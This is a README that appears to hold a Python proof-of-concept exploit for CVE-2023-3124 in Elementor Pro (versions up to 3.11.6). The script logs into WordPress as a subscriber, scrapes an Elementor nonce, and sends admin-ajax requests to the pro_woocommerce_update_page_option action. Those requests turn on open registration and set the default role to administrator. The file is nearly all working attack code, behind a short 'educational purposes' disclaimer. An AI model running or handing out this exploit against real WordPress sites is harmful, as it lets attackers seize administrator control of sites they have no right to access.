README.md
Rendering markdown...
# Exploit Title: Elementor Pro <= 3.11.6 - Authenticated(Subscriber+) Privilege Escalation via update_page_option
# Exploit Author: AmirWhiteHat
# CVE: CVE-2023-3124
# CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
#
# python3 PoC.py --username USER --password PASS --link WP-URL
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test.
# The author will not be held responsible for any use or damage caused by this
# program.
import os,sys
import time
import random
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from bs4 import BeautifulSoup
import requests
from optparse import OptionParser
is_windows = sys.platform.startswith('win')
if is_windows:
import win_unicode_console , colorama
win_unicode_console.enable()
colorama.init()
r = '\033[91m'
g = '\033[92m'
y = '\033[93m'
b = '\033[94m'
w = '\033[0m'
m = '\033[35m'
else:
r = '\033[31m'
g = '\033[32m'
y = '\033[33m'
b = '\033[34m'
m = '\033[35m'
c = '\033[36m'
w = '\033[37m'
rr = '\033[39m'
def main():
try:
parser = OptionParser()
parser.add_option("-u", "--username", dest="username", default="",
help="Wordpress Username")
parser.add_option("-p", "--password", dest="password", default="",
help="Wordpress Passowrd")
parser.add_option("-l", "--link", dest="link", default="",
help="Wordpress URL")
(options, args) = parser.parse_args()
if not os.path.exists("results"):
os.makedirs("results")
print(f'{y}## Title: CVE-2023-3124 {y}')
print(f'{y}## PoC By AmirWhiteHat {y}')
if options.link == False:
print(f'{r}[-] Wordpress url not found.'+f'{w}')
exit()
if options.username == False:
print(f'{r}[-] Username not found.'+f'{w}')
exit()
if options.password == False:
print(f'{r}[-] Password not found.'+f'{w}')
exit()
print(f'{m}[*] Try to login '+str(options.username)+' with '+str(options.password)+f'{m}')
session = requests.Session()
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "nl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded", "Origin": options.link, "Connection": "close", "Upgrade-Insecure-Requests": "1"}
data = {"log": options.username, "pwd": options.password, "wp-submit": "Log In",
"redirect_to": f"{options.link}/wp-admin/index.php?wc-ajax=1"}
print(f"{y}[*] Logging in...{w}")
res = session.post(f"{options.link}/wp-login.php", headers=headers, data=data, allow_redirects=True, verify=False)
if ("incorrect" not in res.text) or ("unsure" not in res.text):
# Step 1
content = str(res.content)
content = content[content.find("elementor-common-js-before"):]
content = content[:content.find("</script>")]
nonce = content[content.find("nonce")+8:content.find("nonce")+18]
print(f"{g}[+] Got nonce: {nonce}{w}")
# Step 2
data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"users_can_register\",\"editor_post_id\":%d}}}" % 1,
"_nonce": nonce, "action": "elementor_ajax"}
res = session.post(f"{options.link}/wp-admin/admin-ajax.php", data=data , verify=False)
resp = res.json()
try:
if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]:
print(f"{g}[+] Updated users_can_register option to True {w}")
except:
print(f"{r}[-] Failed to update users_can_register option to True {w}")
# Step 3
data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"default_role\",\"editor_post_id\":\"%s\"}}}" % "administrator",
"_nonce": nonce, "action": "elementor_ajax"}
res = session.post(f"{options.link}/wp-admin/admin-ajax.php", data=data, verify=False)
resp = res.json()
try:
if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]:
print(f"{g}[+] Updated default_role option to admin {w}")
print(f"{g}[+] New users defult role is admin :) {w}")
except:
print(f"{r}[-] Failed to update default_role option to admin {w}")
else:
print(f"{r}[-] Wrong information {w}")
except Exception as e:
print("Error => "+str(e))
main()